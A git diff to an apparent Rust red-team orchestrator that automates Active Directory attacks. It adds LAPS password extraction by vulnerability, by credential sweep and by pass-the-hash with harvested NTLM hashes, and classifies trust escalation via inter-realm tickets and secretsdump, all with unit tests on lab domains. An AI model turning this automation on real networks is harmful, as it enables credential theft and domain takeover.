diff --git a/ares-cli/src/orchestrator/automation/acl_discovery.rs b/ares-cli/src/orchestrator/automation/acl_discovery.rs index 5bc554d1..ffb2b7a4 100644 --- a/ares-cli/src/orchestrator/automation/acl_discovery.rs +++ b/ares-cli/src/orchestrator/automation/acl_discovery.rs @@ -48,13 +48,12 @@ fn collect_acl_discovery_work(state: &StateInner) -> Vec { let mut items = Vec::new(); for (domain, dc_ip) in &state.all_domains_with_dcs() { - // Skip dominated domains — once we own a domain there is nothing left - // for ACL escalation to discover there. Cross-trust ACL paths against - // un-owned domains still fire (they iterate other entries in - // all_domains_with_dcs). - if state.dominated_domains.contains(domain) { - continue; - } + // ACL discovery is read-only LDAP enumeration; safe (and required) + // to run on dominated domains so writeable-ACE primitives surface + // and feed the acl_abuse / rbcd / shadow_credentials / gpo_abuse + // chains for scoreboard tokenization. Destructive exploitation is + // still gated separately in `auto_dacl_abuse`. + // // Use separate dedup keys for cred vs hash attempts so a failed // password-based attempt (e.g., mislabeled credential domain) // doesn't permanently block the hash-based path. diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs index 8664448d..bb74f095 100644 --- a/ares-cli/src/orchestrator/automation/laps.rs +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -16,6 +16,7 @@ use tokio::sync::watch; use tracing::{info, warn}; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::StateInner; /// Dedup key prefix for LAPS extraction. const DEDUP_LAPS: &str = "laps_extract"; @@ -26,6 +27,219 @@ fn is_laps_candidate(vuln_type: &str) -> bool { vtype == "laps_abuse" || vtype == "laps_reader" || vtype == "laps" } +/// Path 1: Vulnerability-driven LAPS — BloodHound or an ACL probe surfaced an +/// explicit LAPS-reader principal. Match the principal to a known credential +/// and emit one work item per (unexploited, unprocessed) LAPS vulnerability. +/// +/// Filters mirror the inline path: `is_laps_candidate` vuln types, +/// not-yet-exploited, not-yet-dispatched, and the principal must be present in +/// `state.credentials` (we lack auth material to act on a name we can't +/// authenticate as). Splits out so the per-vuln field extraction can be unit +/// tested without spinning a Dispatcher. +fn collect_laps_vuln_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for vuln in state.discovered_vulnerabilities.values() { + if !is_laps_candidate(&vuln.vuln_type) { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let reader = vuln + .details + .get("source") + .or_else(|| vuln.details.get("account_name")) + .or_else(|| vuln.details.get("reader")) + .and_then(|v| v.as_str()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let target_computer = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_computer")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let credential = reader.and_then(|r| { + state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == r.to_lowercase() + && (domain.is_empty() || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned() + }); + + if let Some(cred) = credential { + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + items.push(LapsWork { + dedup_key, + domain: domain.to_string(), + dc_ip, + target_computer: if target_computer.is_empty() { + None + } else { + Some(target_computer.to_string()) + }, + credential: cred, + nt_hash: None, + vuln_id: Some(vuln.vuln_id.clone()), + }); + } + } + items +} + +/// Path 2: Domain-wide LAPS sweep — try each plaintext credential against its +/// domain's DC to read LAPS for every computer. Mirrors the hash-fallback +/// sweep filters (`collect_laps_hash_sweep_work`) so the same principal is +/// never dispatched twice across both paths. +fn collect_laps_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for cred in state.credentials.iter().filter(|c| { + !c.domain.is_empty() + && !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) { + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + cred.domain.to_lowercase(), + cred.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + let dc_ip = state + .domain_controllers + .get(&cred.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + items.push(LapsWork { + dedup_key, + domain: cred.domain.clone(), + dc_ip, + target_computer: None, + credential: cred.clone(), + nt_hash: None, + vuln_id: None, + }); + } + items +} + +/// Domain-wide LAPS sweep via NTLM hash (pass-the-hash) — a LAPS-reader +/// principal may only exist in `state.hashes` (e.g. surfaced by +/// secretsdump on the DC) without a plaintext password. Treat each NTLM +/// hash as a sweep credential; downstream `laps_dump` routes to +/// `netexec -H` instead of `-p`. +/// +/// Filters mirror Path 2 (plaintext sweep) so a principal already +/// dispatched via password isn't re-dispatched via hash and vice versa: +/// * empty domain — can't pick a DC +/// * non-NTLM hash — `netexec -H` expects NTLM +/// * empty hash value +/// * delegation accounts — reserved for S4U, spraying causes lockout +/// * quarantined principals — currently locked out +/// * already-processed dedup key — sweep was dispatched on a prior tick +/// * no DC IP known for the domain — defer until probe finds one +fn collect_laps_hash_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for h in state.hashes.iter().filter(|h| { + !h.domain.is_empty() + && h.hash_type.to_lowercase() == "ntlm" + && !h.hash_value.is_empty() + && !state.is_delegation_account(&h.username) + && !state.is_principal_quarantined(&h.username, &h.domain) + }) { + // Same dedup key namespace as plaintext sweep so we don't + // re-dispatch for a principal we already covered via password. + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + h.domain.to_lowercase(), + h.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let dc_ip = state + .domain_controllers + .get(&h.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + + items.push(LapsWork { + dedup_key, + domain: h.domain.clone(), + dc_ip, + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: h.username.clone(), + password: String::new(), + domain: h.domain.clone(), + source: "hash_fallback".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: Some(h.hash_value.clone()), + vuln_id: None, + }); + } + items +} + +/// Build the dispatch payload for a `laps_dump` work item. Splits out so +/// the optional-field assembly (nt_hash for PTH, dc_ip, target_computer, +/// vuln_id) can be unit-tested without spinning a Dispatcher. +fn build_laps_payload(item: &LapsWork) -> serde_json::Value { + let mut payload = json!({ + "technique": "laps_dump", + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + if let Some(ref hash) = item.nt_hash { + payload["nt_hash"] = json!(hash); + } + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + if let Some(ref comp) = item.target_computer { + payload["target_computer"] = json!(comp); + } + if let Some(ref vid) = item.vuln_id { + payload["vuln_id"] = json!(vid); + } + payload +} + /// Monitors for LAPS-readable hosts and dispatches password extraction. /// Interval: 45s. Runs after initial credential discovery to avoid wasting /// unauthenticated cycles. @@ -56,111 +270,15 @@ pub async fn auto_laps_extraction( continue; } - // Two paths to LAPS: + // Three paths to LAPS: // 1. Vuln-driven: BloodHound/ACL analysis found explicit LAPS read access - // 2. Domain-wide: try each credential against the DC to read LAPS for all - // computers (netexec ldap -M laps) - - let mut items = Vec::new(); - - // Path 1: Vulnerability-driven LAPS (specific reader identified) - for vuln in state.discovered_vulnerabilities.values() { - if !is_laps_candidate(&vuln.vuln_type) { - continue; - } - if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { - continue; - } - - let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let reader = vuln - .details - .get("source") - .or_else(|| vuln.details.get("account_name")) - .or_else(|| vuln.details.get("reader")) - .and_then(|v| v.as_str()); - - let domain = vuln - .details - .get("domain") - .and_then(|v| v.as_str()) - .unwrap_or(""); - - let target_computer = vuln - .details - .get("target") - .or_else(|| vuln.details.get("target_computer")) - .and_then(|v| v.as_str()) - .unwrap_or(""); - - // Find credential for the reader - let credential = reader - .and_then(|r| { - state.credentials.iter().find(|c| { - c.username.to_lowercase() == r.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) - }) - }) - .cloned(); - - if let Some(cred) = credential { - let dc_ip = state - .domain_controllers - .get(&domain.to_lowercase()) - .cloned(); - - items.push(LapsWork { - dedup_key, - domain: domain.to_string(), - dc_ip, - target_computer: if target_computer.is_empty() { - None - } else { - Some(target_computer.to_string()) - }, - credential: cred, - vuln_id: Some(vuln.vuln_id.clone()), - }); - } - } - - // Path 2: Domain-wide LAPS sweep (one per domain+credential) - for cred in state.credentials.iter().filter(|c| { - !c.domain.is_empty() - && !c.password.is_empty() - && !state.is_delegation_account(&c.username) - && !state.is_principal_quarantined(&c.username, &c.domain) - }) { - let dedup_key = format!( - "{DEDUP_LAPS}:sweep:{}:{}", - cred.domain.to_lowercase(), - cred.username.to_lowercase() - ); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let dc_ip = state - .domain_controllers - .get(&cred.domain.to_lowercase()) - .cloned(); - - if dc_ip.is_some() { - items.push(LapsWork { - dedup_key, - domain: cred.domain.clone(), - dc_ip, - target_computer: None, - credential: cred.clone(), - vuln_id: None, - }); - } - } + // 2. Domain-wide sweep: try each plaintext credential against the DC + // to read LAPS for all computers (netexec ldap -M laps) + // 3. Hash-fallback sweep: same as #2 but pass-the-hash when only an + // NTLM hash is available for a candidate principal. + let mut items = collect_laps_vuln_work(&state); + items.extend(collect_laps_sweep_work(&state)); + items.extend(collect_laps_hash_sweep_work(&state)); // Limit to avoid spamming let limit = if dispatcher.config.strategy.is_comprehensive() { @@ -172,26 +290,7 @@ pub async fn auto_laps_extraction( }; for item in work { - let mut payload = json!({ - "technique": "laps_dump", - "domain": item.domain, - "credential": { - "username": item.credential.username, - "password": item.credential.password, - "domain": item.credential.domain, - }, - }); - - if let Some(ref dc) = item.dc_ip { - payload["target_ip"] = json!(dc); - payload["dc_ip"] = json!(dc); - } - if let Some(ref comp) = item.target_computer { - payload["target_computer"] = json!(comp); - } - if let Some(ref vid) = item.vuln_id { - payload["vuln_id"] = json!(vid); - } + let payload = build_laps_payload(&item); let priority = dispatcher.effective_priority("laps"); match dispatcher @@ -229,6 +328,10 @@ struct LapsWork { dc_ip: Option, target_computer: Option, credential: ares_core::models::Credential, + /// Pass-the-hash material when no plaintext password is available. When + /// `Some`, the dispatch payload sets `nt_hash` and downstream `laps_dump` + /// routes to `netexec -H` instead of `-p`. + nt_hash: Option, vuln_id: Option, } @@ -301,4 +404,516 @@ mod tests { ); assert_eq!(dedup_key, "laps_extract:sweep:contoso.local:svc_admin"); } + + // collect_laps_hash_sweep_work + + fn ntlm_hash(username: &str, domain: &str, value: &str) -> ares_core::models::Hash { + ares_core::models::Hash { + id: String::new(), + username: username.into(), + hash_value: value.into(), + hash_type: "NTLM".into(), + domain: domain.into(), + cracked_password: None, + source: "test".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + fn state_with_dc(domain: &str, dc_ip: &str) -> StateInner { + let mut s = StateInner::new("op-test".into()); + s.domain_controllers + .insert(domain.to_lowercase(), dc_ip.into()); + s + } + + #[test] + fn laps_hash_sweep_emits_work_item_for_valid_ntlm_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.nt_hash.as_deref(), Some("abcd1234")); + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.credential.password, ""); + assert_eq!(item.credential.source, "hash_fallback"); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_non_ntlm_hash_type() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut h = ntlm_hash("alice", "contoso.local", "abcd1234"); + h.hash_type = "aes256".into(); + s.hashes.push(h); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_empty_hash_value() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "contoso.local", "")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_when_no_dc_for_domain() { + // No DC registered for the domain — defer until host scan finds it. + let mut s = StateInner::new("op-test".into()); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + // Register the principal as a constrained-delegation account so + // `is_delegation_account` returns true for it. + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.hashes + .push(ntlm_hash("svc_web", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_normalizes_case_in_dedup_lookup() { + // Hash carries mixed-case domain/username but the DC lookup and + // dedup key go through `.to_lowercase()` — the work item is still + // emitted. + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("Alice", "CONTOSO.LOCAL", "abcd1234")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_emits_one_item_per_eligible_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.hashes.push(ntlm_hash("bob", "contoso.local", "deadbeef")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 2); + } + + // build_laps_payload + + fn work_item(nt_hash: Option<&str>) -> LapsWork { + LapsWork { + dedup_key: "laps_extract:sweep:contoso.local:alice".into(), + domain: "contoso.local".into(), + dc_ip: Some("192.168.58.10".into()), + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: "alice".into(), + password: "P@ssw0rd!".into(), + domain: "contoso.local".into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: nt_hash.map(str::to_string), + vuln_id: None, + } + } + + #[test] + fn build_laps_payload_omits_nt_hash_when_password_only() { + let payload = build_laps_payload(&work_item(None)); + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "alice"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); + assert!(payload.get("nt_hash").is_none()); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_nt_hash_for_pth() { + let payload = build_laps_payload(&work_item(Some("abcd1234"))); + assert_eq!(payload["nt_hash"], "abcd1234"); + // Other fields stay intact. + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_optional_target_computer_and_vuln_id() { + let mut item = work_item(None); + item.target_computer = Some("ws01.contoso.local".into()); + item.vuln_id = Some("vuln-laps-1".into()); + let payload = build_laps_payload(&item); + assert_eq!(payload["target_computer"], "ws01.contoso.local"); + assert_eq!(payload["vuln_id"], "vuln-laps-1"); + } + + #[test] + fn build_laps_payload_omits_dc_ip_when_unknown() { + let mut item = work_item(None); + item.dc_ip = None; + let payload = build_laps_payload(&item); + assert!(payload.get("target_ip").is_none()); + assert!(payload.get("dc_ip").is_none()); + } + + // collect_laps_vuln_work + + fn vuln_with_details( + vuln_id: &str, + vuln_type: &str, + details: Vec<(&str, &str)>, + ) -> ares_core::models::VulnerabilityInfo { + let mut map = std::collections::HashMap::new(); + for (k, v) in details { + map.insert(k.into(), serde_json::Value::String(v.into())); + } + ares_core::models::VulnerabilityInfo { + vuln_id: vuln_id.into(), + vuln_type: vuln_type.into(), + target: String::new(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: map, + recommended_agent: String::new(), + priority: 5, + } + } + + fn plaintext_cred( + username: &str, + domain: &str, + password: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: String::new(), + username: username.into(), + password: password.into(), + domain: domain.into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn laps_vuln_work_emits_item_when_reader_credential_known() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-laps-1".into(), + vuln_with_details( + "vuln-laps-1", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws01.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + + let work = collect_laps_vuln_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.vuln_id.as_deref(), Some("vuln-laps-1")); + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.target_computer.as_deref(), Some("ws01.contoso.local")); + assert_eq!(item.credential.username, "alice"); + assert!(item.nt_hash.is_none()); + assert_eq!(item.dedup_key, "laps_extract:vuln:vuln-laps-1"); + } + + #[test] + fn laps_vuln_work_falls_back_to_account_name_then_reader() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-1".into(), + vuln_with_details( + "vuln-1", + "laps", + vec![("account_name", "bob"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "P@ss!")); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + + // `reader` key works too + s.discovered_vulnerabilities.clear(); + s.discovered_vulnerabilities.insert( + "vuln-2".into(), + vuln_with_details( + "vuln-2", + "laps_abuse", + vec![("reader", "bob"), ("domain", "contoso.local")], + ), + ); + assert_eq!(collect_laps_vuln_work(&s).len(), 1); + } + + #[test] + fn laps_vuln_work_skips_non_laps_vulnerability() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-x".into(), + vuln_with_details( + "vuln-x", + "rbcd", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_exploited() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-done".into(), + vuln_with_details( + "vuln-done", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.exploited_vulnerabilities.insert("vuln-done".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-p".into(), + vuln_with_details( + "vuln-p", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:vuln:vuln-p".into()); + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_skips_when_reader_principal_has_no_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-orphan".into(), + vuln_with_details( + "vuln-orphan", + "laps_reader", + vec![("source", "ghost"), ("domain", "contoso.local")], + ), + ); + // No credential for "ghost" — item must not be emitted. + assert!(collect_laps_vuln_work(&s).is_empty()); + } + + #[test] + fn laps_vuln_work_target_computer_falls_back_to_target_field() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-tgt".into(), + vuln_with_details( + "vuln-tgt", + "laps_reader", + vec![ + ("source", "alice"), + ("domain", "contoso.local"), + ("target", "ws07.contoso.local"), + ], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_vuln_work(&s); + assert_eq!( + work[0].target_computer.as_deref(), + Some("ws07.contoso.local") + ); + } + + #[test] + fn laps_vuln_work_target_computer_none_when_unspecified() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.discovered_vulnerabilities.insert( + "vuln-no-tgt".into(), + vuln_with_details( + "vuln-no-tgt", + "laps_reader", + vec![("source", "alice"), ("domain", "contoso.local")], + ), + ); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_vuln_work(&s)[0].target_computer.is_none()); + } + + // collect_laps_sweep_work + + #[test] + fn laps_sweep_emits_item_for_plaintext_credential_with_dc() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + let work = collect_laps_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + assert!(item.nt_hash.is_none()); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + } + + #[test] + fn laps_sweep_skips_empty_password() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials.push(plaintext_cred("alice", "", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_when_no_dc_for_domain() { + let mut s = StateInner::new("op-test".into()); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.credentials + .push(plaintext_cred("svc_web", "contoso.local", "P@ss!")); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_sweep_emits_one_item_per_eligible_credential() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.credentials + .push(plaintext_cred("alice", "contoso.local", "P@ss!")); + s.credentials + .push(plaintext_cred("bob", "contoso.local", "p2")); + assert_eq!(collect_laps_sweep_work(&s).len(), 2); + } } diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index 45f46290..61a53701 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -40,11 +40,83 @@ fn forest_trust_vuln_id(source_domain: &str, target_domain: &str) -> String { ) } +/// Maps a `source → target` trust escalation to its scoreboard tokens: +/// the `vuln_id`, the `vuln_type` enum used by the exploit gate, and the +/// human-readable note prefix written into the vulnerability details. +/// +/// Intra-forest (child↔parent) and inter-forest are distinct MITRE +/// primitives — both ride the inter-realm-TGT + secretsdump mechanic +/// internally, but downstream scoreboard tokenization, suppression rules +/// (SID filtering), and exploitation gates branch on this distinction. +fn classify_trust_escalation( + source_domain: &str, + target_domain: &str, +) -> (String, &'static str, &'static str) { + if is_inter_forest(source_domain, target_domain) { + ( + forest_trust_vuln_id(source_domain, target_domain), + "forest_trust_escalation", + "Forest trust escalation", + ) + } else { + ( + child_to_parent_vuln_id(source_domain, target_domain), + "child_to_parent", + "Child-to-parent escalation", + ) + } +} + /// Build a trust account name from a flat name (e.g. "FABRIKAM" -> "FABRIKAM$"). fn trust_account_name(flat_name: &str) -> String { format!("{}$", flat_name.to_uppercase()) } +/// Assemble the `VulnerabilityInfo` for a single trust-escalation work item. +/// +/// Splits out so the (vuln_id, vuln_type, note prefix) tuple emitted by +/// [`classify_trust_escalation`] plus the trust_account, source, target, and +/// target_dc_ip fields can be unit-tested without running the async dispatch +/// loop. Always returns a vuln with `priority = 1` and +/// `discovered_by = "trust_automation"`. +fn build_trust_escalation_vuln( + source_domain: &str, + target_domain: &str, + trust_account: &str, + target_dc_ip: &str, +) -> ares_core::models::VulnerabilityInfo { + let (vuln_id, vuln_type, note_kind) = classify_trust_escalation(source_domain, target_domain); + let mut details = std::collections::HashMap::new(); + details.insert( + "source_domain".into(), + serde_json::Value::String(source_domain.to_string()), + ); + details.insert( + "target_domain".into(), + serde_json::Value::String(target_domain.to_string()), + ); + details.insert( + "trust_account".into(), + serde_json::Value::String(trust_account.to_string()), + ); + details.insert( + "note".into(), + serde_json::Value::String(format!( + "{note_kind} via {trust_account} trust key — inter-realm ticket + secretsdump" + )), + ); + ares_core::models::VulnerabilityInfo { + vuln_id, + vuln_type: vuln_type.to_string(), + target: target_dc_ip.to_string(), + discovered_by: "trust_automation".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + } +} + /// Returns true when source and target are in different forests /// (neither is a parent or child of the other, and they are not equal). /// @@ -1423,8 +1495,6 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: }; for item in work { - let vuln_id = forest_trust_vuln_id(&item.source_domain, &item.target_domain); - // Defer dispatch when the target DC IP is unknown: impacket needs // a routable -target-ip for both create_inter_realm_ticket and the // forge-and-present secretsdump fallback. Passing the bare domain @@ -1442,38 +1512,14 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: continue; } }; - let trust_target = target_dc_ip.clone(); + let vuln = build_trust_escalation_vuln( + &item.source_domain, + &item.target_domain, + &item.hash.username, + &target_dc_ip, + ); + let vuln_id = vuln.vuln_id.clone(); { - let mut details = std::collections::HashMap::new(); - details.insert( - "source_domain".into(), - serde_json::Value::String(item.source_domain.clone()), - ); - details.insert( - "target_domain".into(), - serde_json::Value::String(item.target_domain.clone()), - ); - details.insert( - "trust_account".into(), - serde_json::Value::String(item.hash.username.clone()), - ); - details.insert( - "note".into(), - serde_json::Value::String(format!( - "Forest trust escalation via {} trust key — inter-realm ticket + secretsdump", - item.hash.username - )), - ); - let vuln = ares_core::models::VulnerabilityInfo { - vuln_id: vuln_id.clone(), - vuln_type: "forest_trust_escalation".to_string(), - target: trust_target, - discovered_by: "trust_automation".to_string(), - discovered_at: chrono::Utc::now(), - details, - recommended_agent: String::new(), - priority: 1, - }; let _ = dispatcher .state .publish_vulnerability(&dispatcher.queue, vuln) @@ -1879,7 +1925,6 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: } } let _ = ticket_path; // ccache path is internal to the tool - let _ = trust_target; let call = ToolCall { id: format!("forge_inter_realm_{}", uuid::Uuid::new_v4().simple()), @@ -2820,4 +2865,113 @@ mod tests { let got = 